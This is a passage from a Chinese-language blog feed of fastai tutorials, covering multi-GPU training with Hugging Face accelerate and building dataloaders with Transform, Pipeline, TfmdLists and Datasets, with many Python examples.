train.py</code></pre><p>可以看到每个GPU都参与了模型 训练,且训练时间也降低到了16秒( 由于数据通信、模型大小、数据集规模的影响不可能完全缩短到原来的1/8)</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_3_%E5%A4%9AGPU%E8%AE%AD%E7%BB%83/image-20230916154948681.png" alt="image-20230916154948681"></p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_3_%E5%A4%9AGPU%E8%AE%AD%E7%BB%83/image-20230916154828943.png" alt="image-20230916154828943"></p><h2 id="3-Accelerate介绍"><a href="#3-Accelerate介绍" class="headerlink" title="3.Accelerate介绍"></a>3.Accelerate介绍</h2><p>Hugging Face 的 <code>accelerate</code> 库是一个轻量级的 Python 库,用于简化深度学习模型在 CPU、单个 GPU、多个 GPU 以及 TPU 上的训练和推理。这个库设计得非常简单,使得它能快速地与现有的 PyTorch 或 TensorFlow 代码集成。</p><p><code>accelerate</code> 库的主要特点包括:</p><h3 id="①简单性"><a href="#①简单性" class="headerlink" title="①简单性"></a>①简单性</h3><p>该库的 API 设计得非常直观和易用,以便于快速上手。你可以在几行代码内实现模型和数据加载器的加速。</p><h3 id="②灵活性"><a href="#②灵活性" class="headerlink" title="②灵活性"></a>②灵活性</h3><p>虽然简单,但 <code>accelerate</code> 依然提供了许多高级选项,以便您自定义硬件加速设置。</p><h3 id="③跨平台支持"><a href="#③跨平台支持" class="headerlink" title="③跨平台支持"></a>③跨平台支持</h3><p><code>accelerate</code> 支持多种硬件平台,包括 CPU、单个或多个 GPU,以及 Google 的 TPU。</p><h3 id="④集成"><a href="#④集成" class="headerlink" title="④集成"></a>④集成</h3><p>这个库可以很容易地与其他 Hugging Face 生态系统的组件(例如 Transformers)集成,但也可以与非 Hugging Face 的项目一同使用。</p><h3 id="⑤使用示例"><a href="#⑤使用示例" class="headerlink" title="⑤使用示例"></a>⑤使用示例</h3><p>下面是一个使用 <code>accelerate</code> 对 PyTorch 代码进行加速的简单示例:</p><pre><code class="python">from accelerate import Acceleratorimport torchimport torch.nn as nn# 初始化 acceleratoraccelerator = Accelerator()# 准备数据和模型model = nn.Linear(10, 10)optimizer = torch.optim.SGD(model.parameters(), lr=0.1)data = torch.rand(5, 10)# 使用 accelerator 准备模型和数据model, optimizer, data = accelerator.prepare(model, optimizer, data)# 前向和后向传播output = model(data)loss = torch.mean(output)loss.backward()optimizer.step()</code></pre><p>在这个例子中,<code>Accelerator</code> 对象负责管理硬件加速。通过调用 <code>accelerator.prepare()</code> 方法,你可以将模型、优化器和数据发送到加速器(可能是 GPU 或 TPU)上。</p><p>这只是一个非常基础的例子,<code>accelerate</code> 还有更多高级功能和选项,允许你进行更细粒度的控制。</p><p>总的来说,<code>accelerate</code> 提供了一个简单但功能强大的方式,以利用多种硬件加速选项,无需进行大量代码更改。这使得它成为在多种硬件配置上进行深度学习训练和推理的理想选择。</p><blockquote><p>参考文章</p></blockquote>]]></content>
<categories>
<category> 人工智能 </category>
<category> FASTAI </category>
</categories>
</entry>
<entry>
<title>FASTAI_2_Datasets、Pipeline、TfmdLists、Transform</title>
<link href="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/"/>
<url>/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="Datasets、Pipeline、TfmdLists、Transform"><a href="#Datasets、Pipeline、TfmdLists、Transform" class="headerlink" title="Datasets、Pipeline、TfmdLists、Transform"></a>Datasets、Pipeline、TfmdLists、Transform</h2><p> 文档地址:<a href="https://docs.fast.ai/tutorial.pets.html">https://docs.fast.ai/tutorial.pets.html</a></p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911093557978.png" alt="image-20230911093557978"></p><h3 id="总览"><a href="#总览" class="headerlink" title="总览"></a>总览</h3><blockquote><p> 首先我们将学习</p></blockquote><ul><li>用<code>Transform</code> 来处理数据</li><li>用 <code>PipeLine</code> 来组合<code>Transform</code></li></ul><blockquote><p>然后我们将学习</p></blockquote><ul><li>通过<code>TfmdLists</code> 将一个组合了<code>Transform</code>的<code>PipeLine</code>应用到数据集中</li><li>通过<code>Datasets</code> 将几个组合了<code>Transform</code>的<code>PipeLine</code> 并行的应用到数据集中</li></ul><p>(翻译可能不准确,原文如下)</p><ul><li><a href="https://docs.fast.ai/data.core.html#tfmdlists"><code>TfmdLists</code></a> to apply one <code>Pipeline</code> of <code>Transform</code> on a collection of items</li><li><a href="https://docs.fast.ai/data.core.html#datasets"><code>Datasets</code></a> to apply several <code>Pipeline</code> of <code>Transform</code> on a collection of items in parallel and produce tuples</li></ul><blockquote><p>我们的最终目的是</p></blockquote><p>通过一系列的Transform,将原始数据集(items)最终组织成一个<strong>Dataloader</strong>进行训练。</p><h2 id="1-数据处理"><a href="#1-数据处理" class="headerlink" title="1. 数据处理"></a>1. 数据处理</h2><p>数据清洗和预处理是机器学习流程中最为时间密集的环节之一,这也是 fastai 框架致力于在这方面为您提供尽可能多的支持的原因。从本质上讲,为模型准备数据可以被规范化为一系列针对原始数据项的转换操作。举一个经典的图像分类问题为例,流程起始于图像文件的文件名。首先,需要打开这些对应的图像文件,对其进行尺寸调整,再将其转换为张量格式,可能还需要进行数据增强操作,最后才能对其进行批量处理以供模型训练。而这仅仅是模型输入的准备步骤,对于输出目标(即标签),还需要从文件名中解析并将其转化为整数形式。</p><p>这个过程需要是相对可逆的,因为我们经常需要检查我们的数据,以二次确认我们提供给模型的输入是否合理。这就是为什么 fastai 通过“转换(Transforms)”来表示所有这些操作,而这些转换有时可以通过一个 <code>decode</code> 方法来撤销。这种设计允许数据科学家或机器学习工程师在模型训练过程中更容易地进行数据验证和审查。</p><h3 id="1-1-Transform"><a href="#1-1-Transform" class="headerlink" title="1.1 Transform"></a>1.1 Transform</h3><p>接下来我们通过MINST_TINY数据集(只包含3和7两个类别) 进行讲解。</p><p>我们首先通过一个文件名来开始,然后看看如何将其一步步处理成一个可以被模型使用的 带有标签的数据。</p><pre><code class="python">from fastai.vision.all import *source = untar_data(URLs.MNIST_TINY)/'train'items = get_image_files(source)fn = items[0]; fn #fn是一个Path类型的变量</code></pre><p>我们获取items就是某个文件夹下的所有文件(Path类型):</p><pre><code class="powershell">Path('C:/Users/qwrdxer/.fastai/data/mnist_tiny/train/3/7.png')</code></pre><p>调用PIL库我们可以通过Path查看这个图片</p><pre><code class="python">img=PILImage.create(fn); img</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911101504098.png" alt="image-20230911101504098"></p><p>然后我们可以将其转换成一个 <code>C*H*W</code>的tensor( C 是通道数量,HW分别为高和宽 )</p><pre><code class="python">tconv = ToTensor()img = tconv(img)img.shape,type(img)</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911101731987.png" alt="image-20230911101731987"></p><p>转换成tensor后, 我们可以创建它的标签了,这个数据集的图片的父目录就是它的标签( /3/7.png ,3为它的标签), </p><pre><code class="python">lbl = parent_label(fn) # lbl的值为 '3'#然后将其转换成一个整形的标签tcat = Categorize(vocab=['3','7']) #clbl = tcat(lbl) # lbl的值为TensorCategory(0)#我们也可以通过decode方法将TensorCategory(0) 重新转换回'3'lbld = tcat.decode(lbl) #lbld的值为 '3' </code></pre><h3 id="1-2-Pipeline"><a href="#1-2-Pipeline" class="headerlink" title="1.2 Pipeline"></a>1.2 Pipeline</h3><p>上文中我们首先使用 <code>PILImage.create</code>将Path 转换成图片 ,然后使用 <code>tconv</code> 将其转换成tensor .</p><p>我们可以将这两个步骤通过PipeLine进行合并</p><pre><code class="python">pipe = Pipeline([PILImage.create,tconv])img = pipe(fn)img.shape</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911102541522.png" alt="image-20230911102541522"></p><p>Pipline可以将图片decode并展示出来</p><pre><code class="python">pipe.show(img, figsize=(1,1), cmap='Greys');</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911102656818.png" alt="image-20230911102656818"></p><p>转换(Transforms)会确保它们接收的元素的类型得以保留。例如,<code>PILImage.create</code> 返回一个 <code>PILImage</code> 对象,该对象知道如何<code>show</code>自己。<code>tconv</code> 将其转换为 <code>TensorImage</code>,该类型同样也知道如何<code>show</code>自己。</p><h2 id="2-仅使用Transform加载数据集"><a href="#2-仅使用Transform加载数据集" class="headerlink" title="2.仅使用Transform加载数据集"></a>2.仅使用Transform加载数据集</h2><p>总之,Transform是对原始数据处理的方法 ,我们接下来将尝试构建一个Transform,它能对原始的数据集进行处理(encode),也能将处理好的数据(tensor)展示出来(decode)</p><h3 id="2-0在使用Transform前-的处理"><a href="#2-0在使用Transform前-的处理" class="headerlink" title="2.0在使用Transform前 的处理"></a>2.0在使用Transform前 的处理</h3><p>首先我们先获取items(未处理的数据集)</p><pre><code class="python">source = untar_data(URLs.PETS)/"images"items = get_image_files(source)</code></pre><p>第一步处理是将其大小裁剪成一致的形式</p><pre><code class="python">def resized_image(fn:Path, sz=128): x = Image.open(fn).convert('RGB').resize((sz,sz)) # Convert image to tensor for modeling return tensor(array(x)).permute(2,0,1).float()/255.</code></pre><p>在定义我们的Transform之前,我们需要一个类来知道如何展示自己(如果需要调用.show方法的话)</p><pre><code class="python">class TitledImage(fastuple): def show(self, ctx=None, **kwargs): show_titled_image(self, ctx=ctx, **kwargs)</code></pre><p>然后使用</p><pre><code class="python">img = resized_image(items[0])TitledImage(img,'test title').show()</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911103738386.png" alt="image-20230911103738386"></p><h3 id="2-1使用Transform来处理图片"><a href="#2-1使用Transform来处理图片" class="headerlink" title="2.1使用Transform来处理图片"></a>2.1使用Transform来处理图片</h3><p>首先我们先加载数据集</p><pre><code class="python">source = untar_data(URLs.PETS)/"images"items = get_image_files(source)</code></pre><p>items的示例成员如下:</p><pre><code>Path('C:/Users/qwrdxer/.fastai/data/oxford-iiit-pet/images/Abyssinian_1.jpg')</code></pre><p>文件名即为类别 ,其中首字母大写的为猫,首字母小写的为狗,如这里的示例,A为大写,代表这是一只猫, Abyssinian是它的品种。</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911105809284.png" alt="image-20230911105809284"></p><p>我们定义Transform如下: </p><pre><code class="python">class PetTfm(Transform): def __init__(self, vocab, o2i, lblr): self.vocab,self.o2i,self.lblr = vocab,o2i,lblr def encodes(self, o): return [resized_image(o), self.o2i[self.lblr(o)]] def decodes(self, x): return TitledImage(x[0],self.vocab[x[1]])</code></pre><p><code>encodes</code>方法输入的是一张<code>图片</code>,输出是<code>[resize后的图片 , 对应的标签]</code></p><p><code>decodes</code>方法输入的是<code>[resize后的图片 , 对应的标签]</code>, 输出是对 <code>TitledImage</code>的调用,这将展示这张图片。</p><p><code>vocab</code> 存储了数据集所有的标签</p><p><code>o2i</code>将标签转成索引</p><p>为了使用这个Transform, 我们需要写一个获取标签函数,我们获取标签的思路就是使用正则从文件名中提取</p><pre><code class="python">labeller = using_attr(RegexLabeller(pat = r'^(.*)_\d+.jpg$'), 'name')</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911110430719.png" alt="image-20230911110430719"></p><p>我们使用labeller来遍历数据集获得所有可能的标签</p><pre><code class="python">vals = list(map(labeller, items))</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911110621874.png" alt="image-20230911110621874"></p><p>接下来是构造vocab 和一个从索引到标签的映射</p><pre><code class="python">vocab,o2i = uniqueify(vals, sort=True, bidir=True)</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911111027239.png" alt="image-20230911111027239"></p><p>现在我们可以创建Transform实例了</p><pre><code class="python">pets = PetTfm(vocab,o2i,labeller)</code></pre><p>encode测试</p><pre><code class="python">x,y = pets(items[0])x.shape,y</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911111328471.png" alt="image-20230911111328471"></p><p>decode测试</p><pre><code class="python">dec = pets.decode([x,y])dec.show()</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911111259668.png" alt="image-20230911111259668"></p><h3 id="2-2使用setups来设置内部函数"><a href="#2-2使用setups来设置内部函数" class="headerlink" title="2.2使用setups来设置内部函数"></a>2.2使用setups来设置内部函数</h3><p>上文对标签的处理是在Transform外面单独处理,随后通过 init方法将其传入Transform中,这种方式的封装性并不好,接下来我们将使用setups方法来将处理的过程封装到Transform中。</p><p>其实很简单,只要将用到的代码写入setups方法中即可。</p><pre><code class="python">class PetTfm(ItemTransform): def setups(self, items): self.labeller = using_attr(RegexLabeller(pat = r'^(.*)_\d+.jpg$'), 'name') vals = map(self.labeller, items) self.vocab,self.o2i = uniqueify(vals, sort=True, bidir=True) def encodes(self, o): return (resized_image(o), self.o2i[self.labeller(o)]) def decodes(self, x): return TitledImage(x[0],self.vocab[x[1]])</code></pre><pre><code class="python">pets = PetTfm()pets.setup(items)# 调用setup来处理x,y = pets(items[0])x.shape, y</code></pre><h3 id="2-3通过PipLine将Transform结合起来"><a href="#2-3通过PipLine将Transform结合起来" class="headerlink" title="2.3通过PipLine将Transform结合起来"></a>2.3通过PipLine将Transform结合起来</h3><p>上文中我们定义了<code>PetTfm</code>,我们可以将其和<code>ToTensor</code>、<code>Resize</code>、<code>FlipItem</code>通过<code>Pipeline</code>结合起来</p><pre><code class="python">tfms = Pipeline([PetTfm(), Resize(224), FlipItem(p=1), ToTensor()])</code></pre><p>对PipLine的实例调用setup会按顺序调用所有Transform的setup。</p><pre><code class="python">tfms.setup(items)</code></pre><p>我们可以看看vocab来检验是否setup被正确的调用了</p><pre><code class="python">tfms.vocab</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911113253791.png" alt="image-20230911113253791"></p><p>然后我们就可以使用我们的PipLine了</p><p>Then we can call our pipeline:</p><pre><code class="python">x,y = tfms(items[0])x.shape,y</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911113345841.png" alt="image-20230911113345841"></p><pre><code class="python">tfms.show(tfms(items[0]))</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911113359187.png" alt="image-20230911113359187"></p><p>pipline的.show方法会尝试调用每个Transform的decode方法直到某个Transform知道如何展示自己。</p><h3 id="2-4-PipLine的顺序"><a href="#2-4-PipLine的顺序" class="headerlink" title="2.4 PipLine的顺序"></a>2.4 PipLine的顺序</h3><p>在PIPLine中的Transform会按照其自己的order(默认值为0)属性进行排序</p><p>我们可以通过直接调用PIPLine实例的方式来查看顺序</p><pre><code class="python">tfms</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911114024680.png" alt="image-20230911114024680"></p><p>我们也可以查看Transform的order属性</p><pre><code class="python">FlipItem.order,Resize.order,ToTensor.order,PetTfm.order</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911114139731.png" alt="image-20230911114139731"></p><p>我们可以将PetTfm的order值设置为一个负数确保它一定是第一个被使用的。</p><pre><code class="python">class PetTfm(ItemTransform): order = -5 def setups(self, items): self.labeller = using_attr(RegexLabeller(pat = r'^(.*)_\d+.jpg$'), 'name') vals = map(self.labeller, items) self.vocab,self.o2i = uniqueify(vals, sort=True, bidir=True) def encodes(self, o): return (PILImage.create(o), self.o2i[self.labeller(o)]) def decodes(self, x): return TitledImage(x[0],self.vocab[x[1]])</code></pre><p>这样我们就可以在构造PIPLine时随意指定PetTfm的位置,PIPLine会根据order的值自动排序的。</p><pre><code class="python">tfms = Pipeline([Resize(224), PetTfm(), FlipItem(p=1), ToTensor()])tfms</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911114408009.png" alt="image-20230911114408009"></p><h2 id="3-TfmdLists和Datasets"><a href="#3-TfmdLists和Datasets" class="headerlink" title="3.TfmdLists和Datasets"></a>3.TfmdLists和Datasets</h2><p>接下来是对PIPLine的进一步使用</p><p>TfmdLists和Datasets的主要区别是PIPLine的数量。</p><p>TfmdLists这个类接收一个PIPLine来转换一个列表(单输出)</p><p>Datasets这个了可以同时接收多个PIPLine, 并且将他们并行应用于原始数据(多输出)</p><p>**我们的最终目的是:通过TfmdLists或Datasets 来获取一个Dataloader **</p><h3 id="3-1-TfmdLists"><a href="#3-1-TfmdLists" class="headerlink" title="3.1 TfmdLists"></a>3.1 TfmdLists</h3><p>创建一个<code>TfmdLists</code>只需要一个数据源(<code>items</code>)和一系列<code>Transform</code>组成的<code>PIPLine</code></p><pre><code class="python">tls = TfmdLists(items, [Resize(224), PetTfm(), FlipItem(p=0.5), ToTensor()])x,y = tls[0]#数据获取x.shape,y #输出为(torch.Size([3, 224, 224]), 14)</code></pre><p>值得注意的是我们并不在需要向<code>PetTfm</code>传入<code>items</code>了,因为在<code>TfmdLists</code>初始化时会自动将数据源(<code>items</code>)传入<code>PIPLine</code>中</p><p>可以让我们的TfmdLists实例展示我们获取到的数据 <strong>(tls.show()调用了PetTfm的decodes方法)</strong></p><pre><code class="python">tls.show((x,y))</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911140829768.png" alt="image-20230911140829768"></p><p>也可以调用show_at来展示调用</p><pre><code class="python">show_at(tls, 0)</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911141407799.png" alt="image-20230911141407799"></p><h3 id="3-2训练集和验证集的生成"><a href="#3-2训练集和验证集的生成" class="headerlink" title="3.2训练集和验证集的生成"></a>3.2训练集和验证集的生成</h3><p>TfmdLists 这个单词是个带有 ‘s’的复数,因为它可以包含几个经过Transform处理后的List:训练集和验证集。</p><p>为了对转换后的数据进行划分,我们只需要在初始化时传入一个splits。</p><p>我们先单独看看splits是怎样工作的</p><pre><code class="python">splits = RandomSplitter(seed=42)(items)#通过设置seed可以确保每次生成的随机数都相同splits</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911141235717.png" alt="image-20230911141235717"></p><p>现在,将这个splits传入TfmdLists中</p><pre><code class="python">tls = TfmdLists(items, [Resize(224), PetTfm(), FlipItem(p=0.5), ToTensor()], splits=splits)show_at(tls.train, 0)</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911141447529.png" alt="image-20230911141447529"></p><p>此时数据集已经按照splits的规定分成了train和vaid 两份。</p><h3 id="3-2从TfmdLists获得Dataloaders"><a href="#3-2从TfmdLists获得Dataloaders" class="headerlink" title="3.2从TfmdLists获得Dataloaders"></a>3.2从TfmdLists获得Dataloaders</h3><p>只拥有数据集并不能够直接进行训练,我们正常训练的方式是获取一个Dataloader,每次从其中获得一批数据用于训练。</p><p>通过TfmdLists来获取Dataloader</p><pre><code class="python">dls = tls.dataloaders(bs=64)</code></pre><p>然后我们可以调用<code>show_batch</code>来查看数据</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911144514492.png" alt="image-20230911144514492"></p><p>同时也可以进一步增加一些图片增强的Transform, 要记得在图片增强前加上<code>IntToFloatTensor</code>(因为图片增强需要float类型的tensor)</p><pre><code class="python">dls = tls.dataloaders(bs=64, after_batch=[IntToFloatTensor(), *aug_transforms()])dls.show_batch()</code></pre><h3 id="3-3小总结"><a href="#3-3小总结" class="headerlink" title="3.3小总结"></a>3.3小总结</h3><p>到此为止,我们知道了:</p><ul><li>如何构建一个完善的Transform(包含encode和decode)</li><li>如何通过PIPLine将 多个Transform结合起来,以及他们的优先级</li><li>将原始数据源和一个PIPLine整合成一个TfmdLists</li><li>如何对TfmdLists进一步处理(获取训练集验证集)、如何从TfmdLists获取Dataloader</li></ul><h3 id="3-4Datasets"><a href="#3-4Datasets" class="headerlink" title="3.4Datasets"></a>3.4Datasets</h3><p>Dataset对数据源应用了多个 PIPLine ,并且每个PIPLine都有一个对应的输出,其特点如下</p><ol><li><strong>懒加载(Lazily Applied)</strong>: <code>Datasets</code> 在实际需要时才会应用这些转换。这意味着,直到你实际请求(如索引或批量加载)数据集的某个元素时,这些转换才会被执行。</li><li><strong>多个Pipeline</strong>: <code>Datasets</code> 可以接受多个 <code>Pipeline</code>,这允许你分别处理输入和输出(如特征和标签),或处理多模态(multimodal)数据。</li><li><strong>灵活性和可复用性</strong>: 由于每一步都被封装在单独的 <code>Pipeline</code> 或转换列表中,你可以轻松地移除、添加或更改步骤。这也使得这些步骤可以在不同的项目或不同阶段的同一项目中被复用。</li><li><strong>数据块API(Data Block API)的基础</strong>: <code>Datasets</code> 的这种设计方式为数据块API提供了基础。在数据块API中,你可以轻松地将不同类型的输入或输出与特定的转换 <code>Pipeline</code> 相关联。这为构建复杂的数据处理流程提供了高度的灵活性。</li></ol><p>让我们先以一个例子开始, 下面的ImageResizer例子中,我们实现了两种encode方式,他们都是对图片的大小进行改变。</p><pre><code class="python">class ImageResizer(Transform): order=1 "Resize image to `size` using `resample`" def __init__(self, size, resample=BILINEAR): if not is_listy(size): size=(size,size) self.size,self.resample = (size[1],size[0]),resample def encodes(self, o:PILImage): return o.resize(size=self.size, resample=self.resample) def encodes(self, o:PILMask): return o.resize(size=self.size, resample=NEAREST)</code></pre><p>通过类型注释 o:PILImage和o:PILMask 对于不是这两种类型的数据这个Transform将不做任何处理。</p><p>为了创建一个Datasets, 接下来我们将创建两个PIPLine,一个用于生成图片集,一个用于生成其对应的标签</p><pre><code class="python">#labeller = using_attr(RegexLabeller(pat = r'^(.*)_\d+.jpg$'), 'name')tfms = [[PILImage.create, ImageResizer(128), ToTensor(), IntToFloatTensor()], [labeller, Categorize()]]dsets = Datasets(items, tfms)# 创建Datasets实例</code></pre><p>我们可以检查一下我们的代码是否正确的处理了原始数据。</p><pre><code class="python">t = dsets[0]type(t[0]),type(t[1])</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911151419170.png" alt="image-20230911151419170"></p><p>可以通过desets实例调用show和decode </p><pre><code class="python">x,y = dsets.decode(t)x.shape,y</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911161742232.png" alt="image-20230911161742232"></p><pre><code class="python">dsets.show(t);</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911161811145.png" alt="image-20230911161811145"></p><p> 我们也可以像TfmdLists一样传入splits</p><pre><code class="python">dsets = Datasets(items, tfms, splits=splits)</code></pre><p>接下来是将Datasets转换成一个Dataloader, </p><p>一种方法是调用构建好的dsets实例的 <code>dataloaders</code>的方法。</p><p>dsets的成员是(x,y)类型的元组,这里值得注意的是,我们使用after_item来实现只对 图片(x) 进行处理。</p><pre><code class="python">tfms = [[PILImage.create], [labeller, Categorize()]]dsets = Datasets(items, tfms, splits=splits)dls = dsets.dataloaders(bs=64, after_item=[ImageResizer(128), ToTensor(), IntToFloatTensor()])</code></pre><p>另一种方式是将其直接传入<code>TfmdDL</code></p><pre><code class="python">dsets = Datasets(items, tfms)dl = TfmdDL(dsets, bs=64, after_item=[ImageResizer(128), ToTensor(), IntToFloatTensor()])</code></pre><h3 id="3-5-增加一个测试集"><a href="#3-5-增加一个测试集" class="headerlink" title="3.5 增加一个测试集"></a>3.5 增加一个测试集</h3><p>我们的Dataloader保存有从原始数据集中获取的训练集和验证集。</p><p>假设我们还有一个跟原始数据集相同结构的测试集。</p><pre><code class="python">path = untar_data(URLs.PETS)tst_files = get_image_files(path/"images")len(tst_files)</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_2_Datasets%E3%80%81Pipeline%E3%80%81TfmdLists%E3%80%81Transform/image-20230911164730847.png" alt="image-20230911164730847"></p><p>我们可以通过训练集的Dataloader 的test_dl方法来创建一个测试集的<code>Dataloader</code> ,训练集的Transform会同样作用于测试集</p><pre><code class="python">tst_dl = dls.test_dl(tst_files)</code></pre><h2 id="4-最终总结"><a href="#4-最终总结" class="headerlink" title="4.最终总结"></a>4.最终总结</h2><p>在fastAI中一共有三个大模块分别是 数据集构建 、模型训练 、预测。</p><p>本篇主要是通过fastai中较为底层的模块来演示如何将原始的数据集一步步构造成可供模型训练的Dataloader。</p><ul><li>Transform 是对数据处理的最基本模块,一个标准的Transform方法要实现encodes、decodes、setups方法。Transform输入是原始数据,输出是对其处理的结果。如图片分类中,我们的输入是x图片,输出就可能是(x,y)</li><li>我们可能对数据有多种处理, 如图片增强、resize等,将这些Transform串联起来就是一个PIPLine, PipLine会按照Transform内置的order来按顺序对数据进行处理。</li><li>可以对PIPLine进行调用 ,他们分别是TfmdLists和Datasets, 两者最直接的区别是TfmdLists只能接受一个PIPLine,Datasets可以接受多个PIPLine ,每个PIPLine对应一个输出。同时在Transform处理后我们可以调用split来划分训练集验证集等进一步处理</li><li>最后就是最终目的: 构造Dataloader,我们可以通过TfmdLists或Datasets的dataloaders方法来构建…</li></ul><blockquote><p>参考文章</p></blockquote>]]></content>
<categories>
<category> 人工智能 </category>
<category> FASTAI </category>
</categories>
</entry>
<entry>
<title>FASTAI_1_使用不同API加载数据</title>
<link href="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/"/>
